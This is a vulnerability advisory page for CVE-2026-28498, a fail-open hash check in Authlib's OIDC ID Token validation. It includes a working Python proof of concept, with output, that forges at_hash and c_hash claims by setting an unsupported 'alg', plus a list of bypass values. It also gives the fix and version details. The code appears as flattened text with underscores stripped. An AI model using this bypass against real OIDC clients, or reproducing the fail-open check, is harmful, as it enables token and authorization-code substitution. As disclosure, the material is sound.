CVE-2026-28498: Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding

Published Mar 16, 2026
·
Updated

1. Executive Summary

A critical library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (verifyhash) responsible for validating the athash (Access Token Hash) and chash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm.

This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.

---

2. Technical Details & Root Cause

The vulnerability resides within the verifyhash(signature, s, alg) function in authlib/oidc/core/claims.py:

python def verifyhash(signature, s, alg): hashvalue = createhalfhash(s, alg) if not hashvalue: # ← VULNERABILITY: createhalfhash returns None for unknown algorithms return True # ← BYPASS: The verification silently passes return hmac.comparedigest(hashvalue, tobytes(signature))

When an unsupported algorithm string (e.g., "XX999") is processed by the helper function createhalfhash in authlib/oidc/core/util.py, the internal getattr(hashlib, hashtype, None) call fails, and the function correctly returns None.

However, instead of triggering a Fail-Closed cryptographic state (raising an exception or returning False), the verifyhash function misinterprets the None return value and explicitly returns True.

Because developers rely on the standard .validate() method provided by Authlib's IDToken class—which internally calls this flawed function—there is no mechanism for the implementing developer to prevent this bypass. It is a strict library-level liability.

---

3. Attack Scenario

This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to Token Substitution Attacks.

1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (accesstoken) or Authorization Code (code) with a malicious or mismatched one. 2. The attacker re-crafts the JWT header of the ID Token, setting the alg parameter to an arbitrary, unsupported value (e.g., {"alg": "CUSTOMALG"}). 3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase. 4. Authlib attempts to validate the athash or chash claims. 5. Because "CUSTOMALG" is unsupported by hashlib, createhalfhash returns None. 6. Authlib's verifyhash receives None and silently returns True. 7. Result: The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.

---

4. Specification & Standards Violations

This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library MUST fail and reject material when encountering unsupported cryptographic parameters.

OpenID Connect Core 1.0 § 3.2.2.9 (Access Token Validation): "If the ID Token contains an athash Claim, the Client MUST verify that the hash value of the Access Token matches the value of the athash Claim." Silencing the validation check natively contradicts this absolute requirement. § 3.3.2.11 (Authorization Code Validation): Identically mandates the verification of the chash Claim.

IETF JSON Web Token (JWT) Best Current Practices (BCP) RFC 8725 § 3.1.1: "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.

IETF JSON Web Signature (JWS) RFC 7515 § 5.2 (JWS Validation): Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning True for an UnsupportedAlgorithm state, Authlib violates robust application security logic.

---

5. Remediation Recommendation

The verifyhash function must be patched to enforce a Fail-Closed posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation must fail immediately.

Suggested Patch (authlib/oidc/core/claims.py):

python def verifyhash(signature, s, alg): hashvalue = createhalfhash(s, alg) if hashvalue is None: # FAIL-CLOSED: The algorithm is unsupported, reject the token. return False return hmac.comparedigest(hashvalue, tobytes(signature))

---

6. Proof of Concept (PoC)

The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (athash), Hybrid Flow (chash), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.bash

bash python3 -m venv venv source venv/bin/activate pip install authlib cryptography python3 -c "import authlib; print(authlib.version)" → 1.6.8

python #!/usr/bin/env python3 -- coding: utf-8 --

""" @title OIDC athash / chash Verification Bypass @affected authlib <= 1.6.8 @file authlib/oidc/core/claims.py :: verifyhash() @notice verifyhash() retorna True cuando createhalfhash() retorna None (alg no soportado), causando Fail-Open en la verificacion de binding entre ID Token y Access Token / Authorization Code. @dev Reproduce el bypass directamente contra el codigo de authlib sin mocks. Todas las llamadas son al modulo real instalado. """

import hmac import hashlib import base64 import time

import authlib from authlib.common.encoding import tobytes from authlib.oidc.core.util import createhalfhash from authlib.oidc.core.claims import IDToken, HybridIDToken from authlib.oidc.core.claims import verifyhash as authlibverifyhash

─── helpers ──────────────────────────────────────────────────────────────────

R = "\033[0m" RED = "\033[91m" GRN = "\033[92m" YLW = "\033[93m" CYN = "\033[96m" BLD = "\033[1m" DIM = "\033[2m"

def header(title): print(f"\n{CYN}{'─' 64}{R}") print(f"{BLD}{title}{R}") print(f"{CYN}{'─' 64}{R}")

def ok(msg): print(f" {GRN}[OK] {R}{msg}") def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}") def info(msg): print(f" {DIM} {msg}{R}")

def athashcorrect(token: str, alg: str) -> str: """ @notice Computa athash segun OIDC Core 1.0 s3.2.2.9. @param token Access token ASCII @param alg Algoritmo del header del ID Token @return str athash en Base64url sin padding """ fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512} digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest() return base64.urlsafeb64encode(digest[:len(digest)//2]).rstrip(b"=").decode()

def verifyhashpatched(signature: str, s: str, alg: str) -> bool: """ @notice Version corregida de verifyhash() con semantica Fail-Closed. @dev Fix: if not hashvalue -> if hashvalue is None None es falsy en Python, pero b"" no lo es. El chequeo original no distingue entre "algoritmo no soportado" y "hash vacio". """ hashvalue = createhalfhash(s, alg) if hashvalue is None: return False return hmac.comparedigest(hashvalue, tobytes(signature))

─── test 1: root cause ───────────────────────────────────────────────────────

def testrootcause(): """ @notice Demuestra que createhalfhash() retorna None para alg desconocido y que verifyhash() interpreta ese None como verificacion exitosa. """ header("TEST 1 - Root Cause: createhalfhash() + verifyhash()")

token = "realaccesstokenfromAS" fakesig = "AAAAAAAAAAAAAAAAAAAAAA" alg = "CUSTOMALG"

halfhash = createhalfhash(token, alg) info(f"createhalfhash(token, {alg!r}) -> {halfhash!r} (None = alg no soportado)")

resultvuln = authlibverifyhash(fakesig, token, alg) resultpatched = verifyhashpatched(fakesig, token, alg)

print() if resultvuln: fail(f"authlib verifyhash() retorno True con firma falsa y alg={alg!r}") else: ok(f"authlib verifyhash() retorno False")

if not resultpatched: ok(f"verifyhashpatched() retorno False (fail-closed correcto)") else: fail(f"verifyhashpatched() retorno True")

─── test 2: IDToken.validateathash() bypass ────────────────────────────────

def testathashbypass(): """ @notice Demuestra el bypass end-to-end en IDToken.validateathash(). El atacante modifica el header alg del JWT a un valor no soportado. validateathash() no levanta excepcion -> token aceptado.

@dev Flujo real de authlib: validateathash() -> verifyhash(athash, accesstoken, alg) -> createhalfhash(accesstoken, "CUSTOMALG") -> None -> if not None -> True -> no InvalidClaimError -> BYPASS """ header("TEST 2 - IDToken.validateathash() Bypass (Implicit / Hybrid Flow)")

realtoken = "ya29.LEGITIMATEtokenfromrealAS" eviltoken = "ya29.MALICIOUStokenunderattackercontrol" fakeathash = "FAAAAAAAAAAAAAAAAAAAA"

# --- caso A: token legitimo con alg correcto --- correcthash = athashcorrect(realtoken, "RS256") tokenlegit = IDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "athash": correcthash}, {"accesstoken": realtoken} ) tokenlegit.header = {"alg": "RS256"}

try: tokenlegit.validateathash() ok(f"Caso A (legitimo, RS256): athash={correcthash} -> aceptado") except Exception as e: fail(f"Caso A rechazo el token legitimo: {e}")

# --- caso B: token malicioso con alg forjado --- tokenforged = IDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "athash": fakeathash}, {"accesstoken": eviltoken} ) tokenforged.header = {"alg": "CUSTOMALG"}

try: tokenforged.validateathash() fail(f"Caso B (atacante, alg=CUSTOMALG): athash={fakeathash} -> BYPASS exitoso") info(f"accesstoken del atacante aceptado: {eviltoken}") except Exception as e: ok(f"Caso B rechazado correctamente: {e}")

─── test 3: HybridIDToken.validatechash() bypass ──────────────────────────

def testchashbypass(): """ @notice Mismo bypass pero para chash en Hybrid Flow. Permite Authorization Code Substitution Attack. @dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de chash. Authlib la omite cuando el alg es desconocido. """ header("TEST 3 - HybridIDToken.validatechash() Bypass (Hybrid Flow)")

realcode = "SplxlOBeZQQYbYS6WxSbIA" evilcode = "ATTACKERFORGEDAUTHCODE" fakechash = "ZZZZZZZZZZZZZZZZZZZZZZ"

token = HybridIDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "nonce": "n123", "athash": "AAAA", "chash": fakechash}, {"code": evilcode, "accesstoken": "sometoken"} ) token.header = {"alg": "XX9999"}

try: token.validatechash() fail(f"chash={fakechash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible") info(f"code del atacante aceptado: {evilcode}") except Exception as e: ok(f"Rechazado correctamente: {e}")

─── test 4: superficie de ataque ─────────────────────────────────────────────

def testattacksurface(): """ @notice Mapea todos los valores de alg que disparan el bypass. @dev createhalfhash hace: getattr(hashlib, f"sha{alg[2:]}", None) Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass. """ header("TEST 4 - Superficie de Ataque")

token = "testtoken" fakesig = "AAAAAAAAAAAAAAAAAAAAAA"

vectors = [ "CUSTOMALG", "XX9999", "none", "None", "", "RS", "SHA256", "HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1", ]

print(f" {'alg':<22} {'halfhash':<10} resultado") print(f" {'-'22} {'-'10} {'-'20}")

for alg in vectors: hv = createhalfhash(token, alg) result = authlibverifyhash(fakesig, token, alg) hvstr = "None" if hv is None else "bytes" resstr = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}" print(f" {alg!r:<22} {hvstr:<10} {resstr}")

─── main ─────────────────────────────────────────────────────────────────────

if name == "main": print(f"\n{BLD}authlib {authlib.version} - OIDC Hash Verification Bypass PoC{R}") print(f"authlib/oidc/core/claims.py :: verifyhash() \n")

testrootcause() testathashbypass() testchashbypass() testattacksurface()

print(f"\n{DIM}Fix: if not hashvalue -> if hashvalue is None en verifyhash(){R}\n")

---

Output

bash uthlib 1.6.8 - OIDC Hash Verification Bypass PoC authlib/oidc/core/claims.py :: verifyhash()

──────────────────────────────────────────────────────────────── TEST 1 - Root Cause: createhalfhash() + verifyhash() ──────────────────────────────────────────────────────────────── createhalfhash(token, 'CUSTOMALG') -> None (None = alg no soportado)

[BYPASS] authlib verifyhash() retorno True con firma falsa y alg='CUSTOMALG' [OK] verifyhashpatched() retorno False (fail-closed correcto)

──────────────────────────────────────────────────────────────── TEST 2 - IDToken.validateathash() Bypass (Implicit / Hybrid Flow) ──────────────────────────────────────────────────────────────── [OK] Caso A (legitimo, RS256): athash=ghbeqqliVkRPAXdOz2Gbw -> aceptado [BYPASS] Caso B (atacante, alg=CUSTOMALG): athash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso accesstoken del atacante aceptado: ya29.MALICIOUStokenunderattackercontrol

──────────────────────────────────────────────────────────────── TEST 3 - HybridIDToken.validatechash() Bypass (Hybrid Flow) ──────────────────────────────────────────────────────────────── [BYPASS] chash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible code del atacante aceptado: ATTACKERFORGEDAUTHCODE

──────────────────────────────────────────────────────────────── TEST 4 - Superficie de Ataque ──────────────────────────────────────────────────────────────── alg halfhash resultado ---------------------- ---------- -------------------- 'CUSTOMALG' None BYPASS 'XX9999' None BYPASS 'none' None BYPASS 'None' None BYPASS '' None BYPASS 'RS' None BYPASS 'SHA256' None BYPASS 'HS0' None BYPASS 'EdDSA256' None BYPASS 'PS999' None BYPASS 'RS 256' None BYPASS '../../../etc' None BYPASS "' OR '1'='1" None BYPASS

Fix: if not hashvalue -> if hashvalue is None en verifyhash()

Other sources

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (verifyhash) responsible for validating the athash (Access Token Hash) and chash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm. This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications. This issue has been patched in version 1.6.9.

NVD

Affected Software

3 affected componentsFixes available
pip/authlib<=1.6.8
1.6.9
Authlib Authlib<1.6.9
debian/python-authlib<=0.15.4-1, <=1.2.0-1+deb12u1, <=1.6.0-1+deb13u1
0.15.4-1+deb11u21.7.2-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.6.9
  2. Upgrade

    Upgrade debian/python-authlib to a version that resolves this vulnerability.

    Fixed in 0.15.4-1+deb11u2Fixed in 1.7.2-1
  3. Upgrade

    Upgrade authlib to a version that resolves this vulnerability.

    Fixed in 1.6.9
  4. Configuration

    Patch `_verify_hash()` so that when `create_half_hash()` returns `None` for an unsupported/unknown `alg`, the library fails closed (rejects/raises) rather than returning `True`. Concretely, change the logic from `if not hash_value` to `if hash_value is None`.

    authlib/oidc/core/claims.py (_verify_hash) Fail-closed handling for unsupported algorithms = Use condition `if hash_value is None` instead of `if not hash_value`

Event History

Mar 16, 2026
Advisory Published
via GitHub·04:15 PM
Data Sourced
via GitHub·04:15 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·06:03 PM
Data Sourced
via MITRE·06:03 PM
DescriptionWeakness
Data Sourced
via NVD·06:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·07:02 PM
DescriptionSeverityAffected Software
Jul 16, 2026
Data Sourced
via Ubuntu·07:47 PM
RemedyDescriptionSeverityAffected Software
Data Sourced
via Debian·07:49 PM
DescriptionAffected Software
Data Sourced
via Launchpad·07:49 PM
Description
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-28498?

CVE-2026-28498 is classified as a critical vulnerability due to the fail-open cryptographic verification affecting OIDC ID Tokens.

2

How do I fix CVE-2026-28498?

To fix CVE-2026-28498, upgrade the Authlib library to version 1.6.9 or later.

3

What software is affected by CVE-2026-28498?

CVE-2026-28498 affects the Authlib Python library versions up to 1.6.8.

4

What kind of vulnerability is CVE-2026-28498?

CVE-2026-28498 is a cryptographic vulnerability that involves fail-open behavior in hash verification.

5

What is the impact of CVE-2026-28498?

The impact of CVE-2026-28498 can lead to potential acceptance of unauthorized OIDC ID Tokens, compromising application security.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203